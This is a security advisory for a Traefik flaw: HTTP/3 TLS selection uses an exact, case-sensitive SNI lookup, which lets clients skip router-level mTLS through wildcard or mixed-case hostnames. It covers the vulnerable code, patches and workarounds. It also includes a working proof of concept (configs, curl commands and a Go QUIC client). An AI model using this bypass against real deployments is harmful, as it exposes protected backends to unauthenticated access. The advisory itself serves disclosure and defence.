Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Summary

There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.

Patches

• https://github.com/traefik/traefik/releases/tag/v3.6.18
• https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's HTTP/3 TLS configuration selection can ignore router-specific TLSOptions and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with Router.GetTLSGetClientInfo(), which performs a direct, case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName].

This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive Host rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:

1. Host("*.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.
2. Host("api.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as API.EXAMPLE.COM reaches the protected backend without one.

Confirmed versions:

• wildcard HTTP/3 bypass: v3.7.0, v3.7.1
• exact-host mixed-case HTTP/3 bypass: v3.6.17, v3.7.0, v3.7.1

Details

HTTP/3 installs a QUIC TLS callback in pkg/server/server_entrypoint_tcp_http3.go:

h3.Server = &http3.Server{
    Addr:      config.GetAddress(),
    Port:      config.HTTP3.AdvertisedPort,
    Handler:   httpsServer.Server.(*http.Server).Handler,
    TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}

The callback is wired to the TCP router's TLS selector:

func (e *http3server) Switch(rt *tcprouter.Router) {
    e.lock.Lock()
    defer e.lock.Unlock()

    e.getter = rt.GetTLSGetClientInfo()
}

The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:

func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
            return tlsConfig, nil
        }

        return r.httpsTLSConfig, nil
    }
}

That creates two mismatches:

• wildcard keys such as *.example.com are never matched for api.example.com
• lower-case router keys such as api.example.com are not matched for mixed-case SNI such as API.EXAMPLE.COM

On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.

Preconditions:

• HTTP/3 is enabled on the affected entrypoint.
• A router-specific TLSOptions configuration enforces client certificate authentication.
• The default/fallback TLS configuration does not require client certificates.
• UDP access to the HTTP/3 entrypoint is reachable by the attacker.

Minimal wildcard dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal exact-host dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --entrypoints.websecure.http3
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443/tcp"
      - "8443:8443/udp"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

Certificate generation:

rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj "/CN=api.example.com"   -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"

openssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall

The mixed-case HTTP/3 client used for the exact-host case:

package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "os"
    "time"

    "github.com/quic-go/quic-go/http3"
)

func main() {
    serverName := os.Getenv("TLS_SERVER_NAME")
    if serverName == "" {
        serverName = "API.EXAMPLE.COM"
    }

    host := os.Getenv("HTTP_HOST")
    if host == "" {
        host = "API.EXAMPLE.COM"
    }

    tr := &http3.Transport{
        TLSClientConfig: &tls.Config{
            ServerName:         serverName,
            InsecureSkipVerify: true,
        },
    }
    defer tr.Close()

    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}

    req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
    if err != nil {
        panic(err)
    }
    req.Host = host

    resp, err := client.Do(req)
    if err != nil {
        fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    fmt.Println(resp.Proto, resp.StatusCode)
    body, _ := io.ReadAll(resp.Body)
    fmt.Print(string(body))
}

PoC

Wildcard bypass:

1. Start Traefik with the wildcard dynamic configuration above.
2. Control over TCP/TLS:

curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

3. HTTP/3 bypass:

curl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443

Exact-host mixed-case bypass:

1. Start Traefik with the exact-host dynamic configuration above.
2. Control over TCP/TLS:

curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

3. Mixed-case HTTP/2 control:

curl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/

Observed result:

TLS alert ... certificate required

This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.

4. HTTP/3 bypass with the same mixed-case hostname:

TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go

Observed result:

HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM

Local regression tests used during validation:

go test ./pkg/server/router/tcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1

These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.

Version matrix observed with Docker images:

wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1

The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.

Impact

Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.

The highest-impact case is mTLS:

• normal HTTP/2/TCP access to the protected host requires a client certificate
• HTTP/3 access to the same route falls back to the default TLS config
• the request is then routed to the protected backend without satisfying the route's mTLS policy

This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.

Possible workarounds until a fix is available:

• Disable HTTP/3 on entrypoints that rely on router-specific mTLS.
• Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.
• Block UDP access to the HTTP/3 entrypoint.
• Enforce client authentication at an additional layer behind Traefik.

</details>